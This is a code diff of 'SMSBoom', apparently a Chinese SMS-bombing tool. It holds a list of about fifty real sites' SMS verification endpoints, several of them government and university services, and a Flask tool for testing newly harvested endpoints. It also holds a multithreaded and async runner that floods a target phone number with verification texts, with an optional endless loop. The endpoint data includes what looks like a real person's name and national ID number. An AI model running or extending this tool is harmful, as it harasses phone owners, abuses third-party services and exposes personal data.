if __name__ == '__main__':
cli()

40
debug/tou_api.py Executable file
View File

@@ -0,0 +1,40 @@
# encoding=utf8
# 从 api.js 偷别人家的接口
import pathlib
import json
from pydantic import BaseModel
from typing import Optional, Union
path = pathlib.Path(__file__).parent.resolve()
class API(BaseModel):
"""处理自定义 API 数据"""
desc: str = "Default"
url: str = ""
method: str = "GET"
header: Optional[Union[str, dict]] = ""
data: Optional[Union[str, dict]]
def main():
with open(pathlib.Path(path, "touapi.json"), mode="r", encoding="utf8") as c:
js = json.load(fp=c)
apis = []
for j in js:
# print(j)
api = API()
api.url = j[0]
api.method = j[3]
api.desc = j[2]
api.data = j[4]
apis.append(api.dict())
# print(apis)
with open(pathlib.Path(path, "api_tou.json"), mode="w", encoding="utf8") as cc:
js = json.dump(obj=apis, fp=cc, ensure_ascii=False)
if __name__ == "__main__":
main()

533
debug/touapi.json Executable file
View File

@@ -0,0 +1,533 @@
[
[
"https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
"111",
"迪卡侬",
"POST",
{
"countryCode": "CN",
"mobile": "[phone]"
},
"https://www.decathlon.com.cn/zh/create"
],
[
"https://www.guhai.com.cn/front/member/sendSmsCode",
60,
"股海网",
"POST",
{
"mobile": "[phone]"
},
"https://www.guhai.com.cn/register.html"
],
[
"http://www.lll.plus/sendCode/",
60,
"LLL的个人blog",
"POST",
{
"tel": "[phone]",
"forgetPwd": ""
},
"http://www.lll.plus/register/"
],
[
"https://www.xcxui.com/index/register/getcode.html",
60,
"企米子",
"POST",
{
"tel": "[phone]"
},
"https://www.xcxui.com/index/register"
],
[
"https://id.pgyer.com/user/getRegisterCode",
60,
"蒲公英",
"POST",
{
"tel": "[phone]",
"callingCode": "86",
"mode": "tel"
},
"https://id.pgyer.com/user/register?mode=tel"
],
[
"https://erp.abiz.com/mobilecode/sendMobileCode",
60,
"百卓优采",
"POST",
{
"mobile": "[phone]",
"captcha": ""
},
"https://erp.abiz.com/register"
],
[
"https://brand.yunbeilou.com/index.php/smssend",
30,
"云背篓",
"POST",
{
"phone": "[phone]",
"v": "yes"
},
"https://brand.yunbeilou.com/index.php/register"
],
[
"https://m.php.cn/account/phone_code.html",
60,
"PHP中文网",
"POST",
{
"phone": "[phone]"
},
"https://m.php.cn/reg.html"
],
[
"http://dhba.12321.cn/api/verifycode",
60,
"12321",
"POST",
{
"phone": "[phone]"
},
"http://dhba.12321.cn/user/register"
],
[
"https://www.ztestin.com/users/send/vercode",
60,
"Testin众测",
"POST",
{
"phone": "[phone]",
"type": "register",
"voice": "0"
},
"https://www.ztestin.com/users/register?from=menu"
],
[
"http://maker.haier.net/client/user/sendregistervcode.html",
60,
"海尔",
"POST",
{
"account": "[phone]"
},
"http://maker.haier.net/client/mobile/register.html"
],
[
"https://www.feimaoyun.com/index.php/invite/h5sendmsg",
30,
"飞猫云",
"POST",
{
"pcode": "+86",
"phone": "[phone]"
},
"https://yq.jingfile.com/static/invite/register.html?type=3&code=FM666685N0UFSVIP"
],
[
"https://end.huajuetech.com/api/sendCode",
60,
"华觉数字化平台",
"POST",
{
"mobile": "[phone]",
"email": "null",
"verfy_method": "mobile"
},
"https://end.huajuetech.com/admin.php/system/Passport/regist.html"
],
[
"https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
120,
"问政江西",
"POST",
{
"phone": "[phone]"
},
"https://wenz.jxnews.com.cn/ms/index.php/Home/User/register/"
],
[
"http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
60,
"河南智慧党建",
"POST",
{
"phone": "[phone]",
"verifytype": "1"
},
"http://www.hndyjyfw.gov.cn/register.html"
],
[
"https://cloud.666idc.com/index/login/sendsms.html",
60,
"陆陆陆云安全",
"POST",
{
"mobile": "[phone]",
"mobile_pre": "86"
},
"https://cloud.666idc.com/index/login/register"
],
[
"https://dz.blizzard.cn/action/user/mobile/captcha",
60,
"网易",
"POST",
{
"mobile": "[phone]"
},
"https://dz.blizzard.cn/register"
],
[
"https://www.codeseeding.com/loginUser/toSend",
60,
"码云社",
"POST",
{
"phone": "[phone]"
},
"https://www.codeseeding.com/index"
],
[
"http://sso.rcsd.cn/regist/getVerifyCode",
120,
"人才山东",
"POST",
{
"personcall": "[phone]"
},
"http://sso.rcsd.cn/regist/registeHome"
],
[
"http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
60,
"水利部",
"POST",
{
"mobile": "[phone]"
},
"http://sso.mwr.cn/examine/getexamines.jsp"
],
[
"http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
60,
"七联大学",
"POST",
{
"phoneNumber": "[phone]",
"sendType": "0"
},
"http://ut7.whu.edu.cn/Home/studentCommon/studentLogin.jsp"
],
[
"https://www.0101ssd.com/user/sendmsg",
60,
"闪德资讯",
"POST",
{
"mobile": "[phone]",
"event": "register"
},
"https://www.0101ssd.com/"
],
[
"https://mskzkt.jse.edu.cn/baseApi/user/code/",
60,
"江苏省名师空中课堂",
"POST",
{
"mobile": "[phone]",
"type": "1"
},
"https://mskzkt.jse.edu.cn/baseApi/user/code/"
],
[
"https://csff.cutv.com/wapi/users/sendregcode",
60,
"CSFF短片",
"POST",
{
"telphone": "[phone]"
},
"https://csff.cutv.com/register"
],
[
"http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
60,
"广西人社厅",
"POST",
{
"aae005": "[phone]",
"aac003": "刘萌萌",
"aac002": "210212198506035924",
"notkeyflag": "1"
},
"http://rswb.gx12333.net/member/register.jhtml"
],
[
"https://www.maxell-dm.cn/Code/CheckImage.aspx",
60,
"麦克赛尔数字映像",
"POST",
{
"action": "send",
"txtMember_Name": "[phone]"
},
"https://www.maxell-dm.cn/register.aspx"
],
[
"http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
60,
"宝提分",
"POST",
{
"mobile": "[phone]"
},
"http://main.jiajiaozaixian.com/zhuce/student/zhuce_xy1.jsp?"
],
[
"http://www.cnppump.ltd/Service/UserHandler.ashx",
60,
"选型系统",
"GET",
{
"cmd": "GetTelVerifyCode",
"Tel": "[phone]"
},
"http://www.cnppump.ltd/Register/RegisterByTel.aspx"
],
[
"http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
60,
"千里马网信科技",
"POST",
{
"tips": "1",
"shouji": "[phone]"
},
"http://vip.qianlima.com/register.html"
],
[
"https://baodingyun.com.cn/register/send_registerSMS.html",
60,
"保定云",
"POST",
{
"phone": "[phone]"
},
"https://baodingyun.com.cn/register.html"
],
[
"http://www.gm5.com/auth/registerSms.html",
60,
"欢动游戏",
"POST",
{
"mobile": "[phone]"
},
"http://www.gm5.com/auth/register.html"
],
[
"https://www.maiwe.com.cn/index/sendcode.html",
60,
"迈威",
"GET",
{
"tel": "[phone]"
},
"https://www.maiwe.com.cn/index/register.html"
],
[
"https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
60,
"憨鼠社区",
"GET",
{},
""
],
[
"https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
60,
"天鹅到家",
"GET",
{},
""
],
[
"http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
60,
"诺达筑工",
"GET",
{},
""
],
[
"http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
60,
"栋才智慧",
"GET",
{},
""
],
[
"http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
60,
"工伤预防网上培训平台",
"GET",
{},
""
],
[
"https://sdjn-web.yxlearning.com/sendphoneCode.gson",
60,
"济宁专技",
"POST",
{
"phone": "[phone]",
"sendType": "4"
},
"https://sdjn-web.yxlearning.com/staffRegister.shtml"
],
[
"http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
60,
"宁夏伊地地质工程有限公司",
"GET",
{},
""
],
[
"http://zycp.qcdxs.com:5001/sms/sendsms",
60,
"青春大学说",
"POST",
{
"phone_number": "[phone]"
},
"http://zycp.qcdxs.com/user/register.html"
],
[
"https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
60,
"兴业利达电子招投标平台",
"POST",
{
"username": "[phone]",
"type": "regUser",
"mobile": "PC"
},
"https://www.gzxyld.cn/HuiEbid/view/register.html"
],
[
"https://v1.alphazone-data.cn/academy/api/v1/sendsms",
60,
"火象",
"POST",
{
"temp": "1",
"phone": "[phone]"
},
"https://www.alphazone.com.cn/register.html"
],
[
"https://www.vipexam.cn/user/identifyingCode.action",
60,
"中科教育",
"POST",
{
"phone": "[phone]"
},
"https://www.vipexam.cn/register.html"
],
[
"https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
60,
"聚题库",
"GET",
{},
""
],
[
"https://jssnd.edu.cn/apiu/v1/register/auth",
60,
"苏州高新区教育局",
"POST",
{
"phone": "[phone]"
},
"https://jssnd.edu.cn/register.html"
],
[
"http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
60,
"专业技术人员继续教育平台",
"GET",
{},
""
],
[
"https://sdta-web.yxlearning.com/sendphoneCode.gson",
60,
"泰安专技",
"POST",
{
"phone": "[phone]",
"sendType": "4"
},
"https://sdta-web.yxlearning.com/staffRegister.shtml"
],
[
"https://www.vipexam.cn/user/identifyingCode.action",
60,
"志睿择",
"POST",
{
"phone": "[phone]"
},
"https://www.vipexam.cn/register.html"
],
[
"https://www.bugbank.cn/api/verifymobile",
90,
"漏洞银行",
"POST",
{
"mobile": "[phone]"
},
"https://www.bugbank.cn/bbe/register.html"
],
[
"https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
60,
"中国劳动保障新闻网",
"POST",
{
"mobile": "[phone]"
},
"https://www.clssn.com/register.html"
],
[
"http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
60,
"广东省心理学会",
"POST",
{
"phone": "[phone]"
},
"http://gpa-gd.scnu.edu.cn/member/index/register.html?siteid=1"
],
[
"https://www.feeclouds.com/homepage/register/send",
60,
"费耘网",
"POST",
{
"mobile": "[phone]"
},
"https://www.feeclouds.com/register.html"
]
]

63
flask_app/__init__.py Executable file
View File

@@ -0,0 +1,63 @@
# encoding=utf8
# app 工厂函数
from flask import Flask,current_app
from flask_sqlalchemy import SQLAlchemy
from flask_admin import Admin
from flask_admin.contrib.sqla import ModelView
from flask_babelex import Babel
import sys
import os
from loguru import logger
# 判断系统
WIN = sys.platform.startswith('win')
if WIN: # 如果是 Windows 系统,使用三个斜线
prefix = 'sqlite:///'
else: # 否则使用四个斜线
prefix = 'sqlite:////'
# 日志处理
logger.remove()
logger.add(
sink=sys.stdout,
format="<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>",
colorize=True,
backtrace=True
)
app = Flask(__name__)
# app config
class AppConfig:
SQLALCHEMY_DATABASE_URI = prefix + \
os.path.join(app.root_path, 'data.db') # 数据库路径
SQLALCHEMY_TRACK_MODIFICATIONS = False # 关闭对模型修改的监控
FLASK_ADMIN_SWATCH = "cerulean" # admin 主题
# 密钥
SESSION_TYPE = 'filesystem'
SECRET_KEY = os.urandom(24)
BABEL_DEFAULT_LOCALE = 'zh_CN' # 汉化
TEST_PHONE = "19820294268" # 测试手机号
app.config.from_object(AppConfig)
# 设置模板全局变量
# print(app.config.get("TEST_PHONE"))
app.add_template_global(current_app,"current_app")
# 扩展
db = SQLAlchemy(app)
babel = Babel(app)
admin = Admin(app, name="短信接口调试", template_mode='bootstrap3')
from .model import ApisModelVies, Apis
admin.add_view(ApisModelVies(Apis, db.session))
# buleprint
from .views import main as main_blueprint
app.register_blueprint(main_blueprint)

BIN
flask_app/data.db Executable file

Binary file not shown.

81
flask_app/model.py Executable file
View File

@@ -0,0 +1,81 @@
# encoding=utf8
# 储存数据库模型
from . import db
from datetime import datetime
from . import ModelView
import json
from typing import Union, Optional
from pydantic import BaseModel
default_header = {
"User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40"
}
class ApisModelVies(ModelView):
create_template = 'api_edit.html'
edit_template = 'api_edit.html'
# 在当前页面编辑
# create_modal = True
# edit_modal = True
# 启用搜索
column_searchable_list = ['desc']
# 可以导出 csv
can_export = True
class Apis(db.Model):
id = db.Column(db.Integer, primary_key=True) # 主键
desc = db.Column(db.String(20), default="Default") # 描述
url = db.Column(db.String(9999), unique=True, nullable=False) # 链接
method = db.Column(db.Enum("GET", "POST"), nullable=False) # 请求方法
header = db.Column(db.String(9999)) # 请求头
data = db.Column(db.String(9999)) # 请求数据
add_time = db.Column(db.DateTime(), default=datetime.now) # 添加时间
class API(BaseModel):
desc: str = "Default"
url: str
method: str = "GET"
header: Optional[Union[str, dict]] = default_header
data: Optional[Union[str, dict]]
def replace_data(self, content: Union[str, dict], phone) -> str:
# 统一转换成 str 再替换.
content = str(content).replace("[phone]", phone).replace(
"[timestamp]", self.timestamp_new()).replace("'", '"')
# 尝试 json 化
try:
# json.loads(content)
# print("json成功",content)
return json.loads(content)
except:
# print("json失败",content)
return content
def timestamp_new(self) -> str:
"""返回整数字符串时间戳"""
return str(int(datetime.now().timestamp()))
def handle_API(self, phone=None):
"""
:param API: one API basemodel
:return: API basemodel
"""
# 仅仅当传入 phone 参数时添加 Referer
# fix: 这段代码很有问题.......
if phone:
# 进入的 header 是个字符串
if self.header == "":
self.header = {}
self.header['Referer'] = self.url # 增加 Referer
self.header = self.replace_data(self.header, phone)
if not self.header.get('Referer'):
self.header['Referer'] = self.url # 增加 Referer
self.data = self.replace_data(self.data, phone)
self.url = self.replace_data(self.url, phone)
# print(self)
return self

52
flask_app/static/test.js Executable file
View File

@@ -0,0 +1,52 @@
function getValue() {
let desc = $("#desc").val();
let url = $("#url").val();
let method = $("#method").val();
let header = $("#header").val();
let phone = $("#phone").val();
let data_ = $("#data").val();
let data = {
"desc": desc,
"url": url,
"method": method,
"header": header,
"phone": phone,
"data": data_
};
return data;
};
$(document).ready(function () {
$("#test").click(function () {
$.ajax({
type: "POST",
url: "/testapi/",
contentType: "application/json",
data: JSON.stringify(getValue()),
dataType: "json",
success: function (response) {
if (response.status == 0) {
$("#suc").show().text("请求成功!:" + response.resp);
} else {
$("#suc").attr("class", "alert alert-warning").show().text("请求失败!:" + response.resp);
}
},
error: function (XMLHttpRequest, textStatus, errorThrown) {
$("#error").show().text("发送请求错误请检查后端接口:" + textStatus);
},
});
});
// console.log(desc, url, method, header);
});

View File

@@ -0,0 +1,173 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<!-- 屏蔽referrer -->
<meta name="referrer" content="never">
<title>短信轰炸接口调试工具.</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css"
integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"
integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo"
crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"
integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1"
crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"
integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM"
crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>
<script src="https://cdn.staticfile.org/axios/0.18.0/axios.min.js"></script>
<!-- 引入 layui.css -->
<link rel="stylesheet" href="https://unpkg.com/layui@2.6.8/dist/css/layui.css">
<!-- 引入 layui.js -->
<script src="https://unpkg.com/layui@2.6.8/dist/layui.js"></script>
</head>
<body>
<div class="container" id="app">
<h3>
短信接口添加工具
<small class="text-muted">By 落落</small>
</h3>
<div>
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text" id="basic-addon1">phone</span>
</div>
<input v-model="phone" type="text" class="form-control" placeholder="测试手机号">
</div>
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text" id="basic-addon1">decs</span>
</div>
<input v-model="desc" type="text" class="form-control" placeholder="接口描述">
</div>
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text" id="basic-addon1">URL</span>
</div>
<input v-model="url" type="text" class="form-control" placeholder="链接">
</div>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text">Data</span>
</div>
<textarea v-model="data" class="form-control" aria-label="With textarea" placeholder="发送的数据"></textarea>
</div>
<br />
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text">header</span>
</div>
<textarea v-model="header" class="form-control" aria-label="With textarea"
placeholder="自定义header(可选)"></textarea>
</div>
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text" id="basic-addon1">请求方法</span>
</div>
<input v-model="method" type="text" class="form-control" placeholder="GET or POST">
</div>
</div>
<div v-if="resp">
<div v-if="resp.status === '1'" class="alert alert-danger" role="alert">
<b>接口报错!Msg:</b> {{ resp.msg }}
</div>
<div v-else>
<div class="alert alert-success" role="alert">
<b>测试成功!Msg:</b> {{ resp.msg }}
</div>
<div class="alert alert-success" role="alert">
<b>接口响应:</b> {{ resp.data }}
</div>
</div>
</div>
<div v-else-if="error === 1">
<div class="alert alert-danger" role="alert">
<b>请求失败,请检查接口 Why:</b> {{ resp }}
接口地址: <code>{{ api }}</code>
</div>
</div>
<button v-on:click="call_api('/testapi/');" type="button" class="btn btn-primary">测试接口</button>
<button v-on:click="call_api('/submitapi/');" type="button" class="btn btn-primary">提交接口</button>
<button v-on:click="call_api('/backapi/');" type="button" class="btn btn-primary">备份接口</button>
</div>
</div>
</body>
<script>
// server 地址 结尾不要加 /
var api = "";
var app = new Vue({
el: '#app',
data: {
api: api,
data: '',
url: '',
header: '',
phone: '',
method: '',
resp: '',
error: '',
desc:''
},
methods: {
gen_json: function () {
let datas = {
"url": this.url,
"data": this.data,
"header": this.header,
"phone": this.phone,
"method": this.method,
"desc": this.desc,
};
console.log(datas);
return datas;
},
call_api: function (url) {
let data = this.gen_json()
if (data) { data = JSON.stringify(data) };
layer.msg('请求接口中', {
icon: 16
, shade: 0.01
});
axios({
method: 'post',
url: url,
headers: { 'Content-Type': 'application/json;charset=UTF-8' },
data: data
})
.then((response) => {
this.resp = response.data;
layer.closeAll('loading');
console.log("请求发送成功!");
console.log(this.resp.msg);
})
.catch((why) => {
this.error = true;
this.resp = why;
console.log(why);
layer.msg("请求失败!");
layer.closeAll('loading');
});
}
},
});
</script>
</html>

View File

@@ -0,0 +1,16 @@
{% extends 'admin/model/edit.html' %}
{% block body %}
<h2>短信接口添加</h2>
<p>替换字符: 手机号<code>[phone]</code> 时间戳<code>[timestamp]</code></p>
{{ super() }}
<input type="text" value="{{ current_app.config.get("TEST_PHONE") }}" id="phone">
<input type="button" class="btn btn-primary" value="测试接口" id="test">
{% endblock %}
{% block tail %}
<div id="error" class="alert alert-danger" style="display: none;">请求错误!</div>
<div id="suc" class="alert alert-success" style="display: none;">请求成功!</div>
<script src="/static/test.js" type="text/javascript"></script>
{% endblock %}

31
flask_app/utils.py Executable file
View File

@@ -0,0 +1,31 @@
# encoding=utf8
import httpx
from .model import API, default_header
def test_resq(api: API, phone) -> httpx.Response:
"""测试 API 返回响应
:param api: API model
:param phone: 手机号
:return: httpx 请求对象.
"""
api = api.handle_API(phone)
with httpx.Client(headers=default_header, timeout=8) as client:
# 这个判断没意义.....但是我不知道怎么优化...
# https://stackoverflow.com/questions/26685248/difference-between-data-and-json-parameters-in-python-requests-package
# Todo: json 和 data 表单发送的问题,有些服务器不能解释 json,只能接受表单
# sol: 1. 添加额外字段判断...
if not isinstance(api.data, dict):
print("data")
resp = client.request(method=api.method, headers=api.header,
url=api.url, data=api.data)
else:
print('json')
resp = client.request(
method=api.method, headers=api.header, url=api.url, json=api.data)
return resp
if __name__ == '__main__':
pass

6
flask_app/views/__init__.py Executable file
View File

@@ -0,0 +1,6 @@
from flask import Blueprint
main = Blueprint("main",__name__)
from . import views, error
from .. import db

16
flask_app/views/error.py Executable file
View File

@@ -0,0 +1,16 @@
#!/usr/bin/python python3
# coding=utf-8
from . import main
from flask import redirect, url_for
@main.app_errorhandler(404)
def page_not_found(e):
"""注册应用全局错误处理"""
print("404")
return redirect(url_for('main.index'))
@main.app_errorhandler(401)
def authfail(e):
return redirect('/static/401.jpg')

30
flask_app/views/views.py Executable file
View File

@@ -0,0 +1,30 @@
# encoding=utf8
# flask app views
from . import main
import json
from ..model import Apis, API
from ..utils import test_resq
from .. import logger
import httpx
from flask_app import db
from flask import request, jsonify
@main.route("/", methods=['GET', 'POST'])
def index():
return "index"
@main.route("/testapi/", methods=['GET', 'POST'])
def testapi():
try:
req = request.json
api = API(**req)
resp = test_resq(api, phone=req.get('phone'))
print(resp.text)
return jsonify({"status": 0, "resp": f"{resp.text}"})
except httpx.HTTPError as why:
return jsonify({"status": 1, "resp": f"HTTP请求错误:{why}"})
except Exception as why:
logger.exception(why)
return jsonify({"status": 1, "resp": f"其他错误:{why}"})

104
handle_api.py Normal file
View File

@@ -0,0 +1,104 @@
# encoding=utf8
# 维护 api.提供去重等功能
from pathlib import Path
import json
from threading import Lock
from queue import Queue
from concurrent.futures import ThreadPoolExecutor
import httpx
from httpx import Limits
import asyncio
from utils.sql import Sql
from utils.req import reqFunc, default_header
from utils.log import logger
path = Path(__file__).parent.absolute().joinpath("debug", "api.db")
sql = Sql(db_path=path)
sql.newTable()
lock = Lock()
q = Queue()
def read_url() -> str:
global q
with open("GETAPI.json", "r", encoding="utf8") as f:
data = json.load(fp=f)
for d in data:
if not (
(
d.startswith("https://") or
d.startswith("http://")
) and ("[phone]" in d)
):
# print(f"{d}淘汰")
continue
q.put(d)
logger.info(f"GETAPI接口总数:{q.qsize()}")
return q
def test():
while not q.empty():
i = q.get()
if reqFunc(i, "19820294268"):
with lock:
sql.update(i)
async def test2():
while not q.empty():
i = q.get()
_i = i.replace("[phone]", "19820294267")
async with httpx.AsyncClient(headers=default_header, timeout=100, limits=Limits(max_connections=1000, max_keepalive_connections=20), verify=False) as client:
try:
await client.get(_i)
# if r.status_code == 200:
sql.update(i)
# logger.info("更新")
except httpx.HTTPError as why:
if why is None:
logger.exception("未知的失败")
logger.error(f"请求失败{type(why)}{why} {i}")
except Exception as e:
logger.error("全局失败")
logger.exception(e)
async def asMain():
await asyncio.gather(
*(
test2()
for _ in range(150)
)
)
def save_api():
"""保存api到 GETAPI.json 文件"""
apis = sql.select()
api_lst = [
api
for api in apis
]
with open("GETAPI.json", mode="w", encoding="utf8") as j:
json.dump(fp=j, obj=api_lst, ensure_ascii=False)
logger.success("写入到 GETAPI.json 成功!")
def main():
read_url()
# with ThreadPoolExecutor(max_workers=1024) as pool:
# for _ in range(1024):
# pool.submit(test)
loop = asyncio.get_event_loop()
loop.run_until_complete(asMain())
if __name__ == "__main__":
main()
# read_url()
save_api()

BIN
img/GIF111.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 MiB

BIN
img/cmd1.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

BIN
img/cmd2.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

BIN
img/e.g.1.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

BIN
img/smsboom-logo.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 380 KiB

BIN
img/test.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 MiB

BIN
img/test2.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 MiB

BIN
img/webui-test-2.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 180 KiB

BIN
img/webui-test.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 183 KiB

0
requirements-celery.txt Normal file
View File

BIN
requirements-dev.txt Executable file

Binary file not shown.

BIN
requirements.txt Executable file

Binary file not shown.

105
run_flask_app.py Executable file
View File

@@ -0,0 +1,105 @@
# encoding=utf8
# flask app 主文件
import click
from loguru import logger
from pathlib import Path
import json
from flask_app import db, app
from flask_app.model import Apis
from utils.models import API
json_path = Path(app.root_path).parent.joinpath(
"api.json")
@click.command()
@click.option('--drop', is_flag=True, help='重建数据库') # 设置选项
def init(drop):
"""初始化数据库"""
if drop:
db.drop_all()
logger.info("删除数据库...准备重建..")
db.create_all()
logger.success("数据库创建成功")
@click.command()
@logger.catch()
def json2sqlite():
"""将json数据转为sqlite数据库"""
j = json_path.read_text(encoding="utf8")
jss = json.loads(j)
for js in jss:
api = Apis(
desc=str(js['desc']),
url=str(js['url']),
method=str(js['method']),
data=str(js['data']),
header=str(js['header'])
)
# print(api.desc)
try:
db.session.add(api)
db.session.commit()
logger.info(f"{api.desc} 写入成功!")
except Exception as e:
db.session.rollback() # 回滚
logger.error(f"{api.desc}写入数据库错误:{e}")
logger.success("json To sqlite 成功!")
@click.command()
@logger.catch()
def sqlite2json():
"""将sqlite数据转为json"""
apis = Apis.query.all()
apis_ = []
for api in apis:
# print(api.url)
if api.data is None:
api.data = ""
if api.header is None:
api.header = ""
data = {
"desc": api.desc,
"url": api.url,
"method": api.method,
"data": api.data,
"header": api.header,
}
try:
api = API(**data).handle_API()
apis_.append(api.dict())
except:
pass
# print(apis_)
with open(json_path, mode="w", encoding="utf8") as j:
try:
json.dump(apis_, j, ensure_ascii=False, sort_keys=False, indent=4)
logger.success("sqlite->json 成功!")
except Exception:
logger.exception("写入到 json 文件错误!")
@click.command()
@click.option('--host', '-h', help='监听地址', default="0.0.0.0")
@click.option('--port', '-p', help='监听端口', default=9090)
def start(host, port):
"""启动 flask app"""
app.run(host=host, port=port, debug=True)
@click.group()
def cli():
pass
cli.add_command(init)
cli.add_command(start)
cli.add_command(json2sqlite)
cli.add_command(sqlite2json)
if __name__ == "__main__":
cli()

167
smsboom.py Executable file
View File

@@ -0,0 +1,167 @@
# encoding=utf8
# 短信测压主程序
import json
import pathlib
import sys
import time
from concurrent.futures import ThreadPoolExecutor
from typing import List, Union
import asyncio
import click
import httpx
from utils import default_header
from utils.log import logger
from utils.models import API
from utils.req import reqFunc, runAsync
# current directory
path = pathlib.Path(__file__).parent
def load_json() -> List[API]:
"""load json for api.json
:return: api list
"""
json_path = pathlib.Path(path, 'api.json')
if not json_path.exists():
logger.error("Json file not exists!")
# return None
raise ValueError
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
try:
datas = json.loads(j.read())
APIs = [
API(**data)
for data in datas
]
logger.success(f"api.json 加载完成 接口数:{len(APIs)}")
return APIs
except Exception as why:
logger.error(f"Json file syntax error:{why}")
# return None
raise ValueError
def load_getapi() -> list:
"""load GETAPI
:return:
"""
json_path = pathlib.Path(path, 'GETAPI.json')
if not json_path.exists():
logger.error("GETAPI.json file not exists!")
# return None
raise ValueError
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
try:
datas = json.loads(j.read())
logger.success(f"GETAPI加载完成,数目:{len(datas)}")
return datas
except Exception as why:
logger.error(f"Json file syntax error:{why}")
# return None
raise ValueError
@click.command()
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
@click.option('--super', "-s", is_flag=True, help="循环模式")
@click.option('--interval', "-i", default=60, help="循环间隔时间(默认60s)", type=int)
def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = False):
"""传入线程数和手机号启动轰炸,支持多手机号"""
logger.info(f"循环模式:{super},手机号:{phone},线程数:{thread},循环间隔:{interval}")
with ThreadPoolExecutor(max_workers=thread) as pool:
try:
_api = load_json()
_api_get = load_getapi()
except ValueError:
logger.error("读取接口出错!正在重新下载接口数据!....")
update()
sys.exit(1)
i = 0
if super:
while True:
i += 1
logger.success(f"{i}波轰炸开始!")
for api in _api:
pool.submit(reqFunc, api, phone)
for api_get in _api_get:
pool.submit(reqFunc, api_get, phone)
logger.success(f"{i}波轰炸提交结束!休息{interval}s.....")
time.sleep(interval)
else:
for api in _api:
pool.submit(reqFunc, api, phone)
for api_get in _api_get:
pool.submit(reqFunc, api_get, phone)
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
@click.command()
def asyncRun(phone):
"""以最快的方式请求接口(真异步百万并发)"""
_api = load_json()
_api_get = load_getapi()
apis = _api+_api_get
loop = asyncio.get_event_loop()
loop.run_until_complete(runAsync(apis, phone))
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
@click.command()
def oneRun(phone):
"""单线程(测试使用)"""
_api = load_json()
_api_get = load_getapi()
apis = _api+_api_get
for api in apis:
try:
reqFunc(api, phone)
except:
pass
@click.command()
def update():
"""从 github 获取最新接口"""
GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json"
